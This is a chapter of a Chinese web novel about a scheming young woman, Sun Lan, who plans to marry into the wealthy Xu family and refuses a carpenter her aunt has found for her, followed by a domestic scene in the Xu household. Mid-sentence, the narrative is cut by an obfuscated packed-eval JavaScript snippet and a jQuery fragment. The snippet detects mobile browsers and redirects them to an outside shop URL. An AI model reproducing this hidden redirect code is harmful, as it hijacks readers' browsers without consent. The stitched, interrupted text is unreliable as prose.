23. 第二十三章

作品:《汴京暴富日常

    孙兰调整了一下站姿,那双才酝酿出三分柔情、七分期盼的眸子,在看见从“徐记炸货铺”门帘子里钻出来的那个身影时,瞬间瞪得老大。


    出来的不是旁人,正是今日她在集市上见过的那个“败家女”。


    那小娘子还是穿着白日里那身看起来就不便宜的浅紫色夹衫,手里提着个油纸包,还在往外冒着热气。


    “哥,刚出锅的,热乎着呢!”


    孙兰眼睁睁看着那原本清冷如谪仙般的少年郎,在看见这小娘子的瞬间,那双似乎只装着圣贤书的眼睛里,竟漾开了层层叠叠的暖意。


    他伸手接过油纸包,动作自然得紧,还顺手帮那小娘子挡了一下旁边路过的挑夫。


    哥?


    这两人是兄妹?


    孙兰捂着胸口,脚下像是生了根。


    紧接着,便是铺天盖地的嫉妒。


    凭什么?


    这世道怎么就这么不公?


    这小娘子白日里随手就能掏出两三百文钱买那不顶饱的零嘴儿,眼都不带眨一下的。


    孙兰当时还在想,不知是哪家大户人家养出来的傻闺女。


    没成想,人家不光有钱,还有这么个样貌好、气质佳的哥哥!


    看看那少年郎身上的长衫,虽不是什么绫罗绸缎,可浆洗得干干净净,袖口连个褶子都没有。


    再看他对妹妹那股子宠溺劲儿,孙兰只觉得牙根都在泛酸。


    若是自己也有这么个哥哥……


    不。


    孙兰眼珠子骨碌一转,那股子酸气瞬间变了味儿。


    若是自己能嫁给这个哥哥,那这小娘子手里漏出来的钱,以后不都是自己的了?


    等她嫁给了这位郎君,成了这丫头的嫂子,这徐家的银钱,还不都是她说了算?


    到时候,她也要像这丫头一样,想买什么买什么,想吃什么吃什么。


    甚至,她要比这丫头更阔气。


    “嘿嘿……”


    孙兰忍不住笑出了声,引得路过的行人像看傻子一样看了她一眼。


    她赶紧收敛笑容,挺了挺胸脯,目光贪婪地在那兄妹俩离去的背影上又剜了几眼,直到那抹青色彻底消失在巷口,这才恋恋不舍地收回视线。


    这人她是记住了。


    看他们走的方向,离姨母家不算太远,回头定要让姨母好好打听打听。


    这等好夫婿,若是错过了,她孙兰这两个字就倒着写!


    怀揣着即将成为“少奶奶”的美梦,孙兰走起路来都带着风。原本觉得沉重的双腿此刻轻快得像是踩在云端上,连路边那些原本让她自惭形秽的城里姑娘,此刻在她眼里也不过尔尔。


    哼,等以后我发达了,让你们看看什么是真正的贵妇人。


    她一路哼着不成调的小曲儿,晃晃悠悠地回了林家。


    刚进院门,就看见林娘子正满脸堆笑地送一个穿红戴绿的婆子出门。


    “哎哟,王媒婆,这事儿就劳您费心了。那是那是,咱们这当长辈的,哪能不盼着孩子好呢?您慢走,改日请您吃茶!”


    林娘子站在门口,热络地挥着手,直到那媒婆走远了,这才转过身来。


    一抬头看见孙兰正倚在门框上,脸上还挂着那股子没散去的春意,林娘子不由得愣了一下。


    “回来了?”林娘子脸上的笑容还没淡去,顺手在围裙上擦了擦手,,“正好,我正要跟你说个好消息呢。”


    “什么好消息?莫不是捡着钱了?”


    林娘子被她的态度刺了一下,随机语气也淡了下来。


    “刚才那是王媒婆,这附近最有名的冰人,我托她给你物色了户人家,方才她来说项了。”


    孙兰心里“咯噔”一下,脑海里瞬间浮现出那个青衫少年的身影。


    难道是老天爷听到了她的心声,这么快就让人上门提亲了?


    她强压住心头的狂喜,装作不在意地问道:“哦?是哪户人家?做什么营生的?”


    “他爹是挑工,他娘是浣衣服的,眼下跟着城南的老木匠学手艺,家里人口简单,没那些个乱七八糟的亲戚。虽然现在住在城外,房子是旧了点,但离城也不远,若是腿脚快些,半个时辰也就走进来了。以后你要是嫁过去,凭他的手艺,日子肯定越过越红火……”


    话还没说完,就被孙兰打断了。


    “我不嫁!”


    林娘子脸上的笑容僵住了:“啥?你说啥?”


    “我说我不嫁!”孙兰厌恶地皱起鼻子,仿佛闻到了那想象中的木屑味和穷酸气,“姨母,你也太看轻我了。这种穷得叮当响的人家,你也拿来恶心我?还学木匠,学一辈子能有什么出息?难不成让我以后天天跟着他吃糠咽菜,住那漏风的破房子?”


    林娘子被她这劈头盖脸的一顿抢白气得脑仁疼。


    “你这孩子,说的什么混账话!”林娘子板起脸,语气也重了几分,“什么叫穷得叮当响?人家那是正经手艺人!你也不看看自家什么光景,能找个知冷知热、有门手艺的汉子就不错了,还挑三拣四?难不成你还想嫁给皇亲国戚不成?”


    孙兰此时满脑子都是那个“未来状元郎”,哪里听得进这些逆耳忠言。她翻了个白眼,双手抱胸,下巴扬得高高的:“怎么就不能想了?我又不比城里那些娇小姐差!再说了,我刚才在街上可是看见了……”


    说到这儿,她顿了顿,脸上浮现出一抹诡异的红晕,声音也变得有些飘忽:“反正,这种连城里房子都买不起的穷鬼,我死也不会嫁。姨母你要是觉得好,你自己嫁好了!”


    “你——”


    林娘子气得倒仰,指着孙兰的手指都在哆嗦。


    这些日子,她为了孙兰的婚事操碎了心。前前后后托人看了好几个,不是嫌人家个子矮,就是嫌人家家里兄弟多,好不容易有个肯干又老实的木匠,居然还被嫌弃成这样!


    “好,好,好!”林娘子连说了三个好字,胸口剧烈起伏,“既然你是千金大小姐的身子,那你就等着那天上的神仙下凡来娶你吧!我这庙小,供不起你这尊大佛!这也不行那也不行,你是要上天啊?”


    说完,林娘子狠狠瞪了孙兰一眼,再也懒得搭理她,一甩袖子,转身气冲冲地往灶房走去,把门帘子摔得震天响。


    孙兰被晾在院子里,撇了撇嘴,丝毫没觉得自己有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973498|193160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    错。


    ……


    与此同时,徐家的小院里,却是另一番光景。


    苏棠坐在桌边,正拿着一块玫瑰酥细细端详。


    那酥皮层层叠叠,薄如蝉翼,中间透出一点淡淡的胭脂红,还没入口,一股子浓郁的玫瑰花香就往鼻子里钻,混着猪油和面的香气,勾得人馋虫都要爬出来了。


    “这又是哪个铺子的新鲜玩意儿?”


    苏棠虽然嘴上总念叨着要省钱,但这会儿也被这精致的点心勾起了食欲。


    她小心地咬了一口。


    酥皮在齿间碎裂,发出细微的“沙沙”声。


    里面的馅料绵软香甜,玫瑰的香气瞬间在嘴里炸开,甜而不腻,带着一股子花瓣特有的清涩回甘。


    “嗯,确实不错。”


    苏棠咽下嘴里的点心,难得地点了点头。


    就连一向对吃食并不怎么在意的徐竹卿,也连吃了两块儿。


    “那当然了,六十文一份儿,可不是得好吃吗。”


    “多少?!”


    苏棠的声音瞬间拔高了一个调,手里刚拿起来的那块玫瑰酥差点没吓掉了。


    “六十文?!”


    就买了这么几块塞牙缝都不够的点心?


    苏棠把手里的玫瑰酥往盘子里一放,也不吃了,指着徐竹筱就开始数落,“你这嘴是金子做的还是银子做的?六十文钱,你就这么两三口给吞了?照你这么个花法儿,咱们家那点家底,迟早得让你给吃空了!”


    徐竹筱缩了缩脖子,却也不敢顶嘴,只是一脸无辜地眨巴着眼睛,笑眯眯地看着苏棠。


    她知道,苏棠这就是刀子嘴豆腐心。


    果然,苏棠骂了几句,见徐竹筱也不反驳,只是一副“我错了但我下次还敢”的模样,气也就消了一半。


    她是个精打细算惯了的人,以前在家里受嫡母苛待,一个铜板都恨不得掰成两半花。如今虽说来了汴京,日子好过些了,可那股子危机感始终都在。


    徐竹卿坐在一旁,看着妹妹那副可怜巴巴又带着点狡黠的样子,无奈地摇了摇头。


    他轻咳了一声,试图转移苏棠的火力。


    “母亲,偶尔尝个鲜也无妨,筱娘平日里也辛苦,这几日帮着家里忙前忙后的……”


    “你闭嘴!”


    苏棠眼风一扫,直接把徐竹卿的话堵了回去。


    “你也是个不省心的!眼瞧着今年就要秋闱了,你还有心思在这儿吃点心?”


    徐竹卿摸了摸鼻子,苦笑一声,不说话了。


    徐竹筱见状,偷偷给徐竹卿递了个眼色,那意思是:哥,谢了啊,虽然没啥用。


    徐竹卿回给她一个无奈的眼神。


    苏棠一边吃着那金贵的玫瑰酥,一边看着这兄妹俩眉来眼去的样儿,最后长长地叹了口气。


    “你们老徐家的人,就没一个让人不操心的。大的只会死读书,小的只会乱花钱,那个老的……”


    苏棠顿了顿,想起了那个整日乐呵呵、万事不愁的徐青山,更觉得脑仁疼。


    “那个老的更不靠谱!”


    徐竹筱和徐竹卿对视一眼,有些无奈。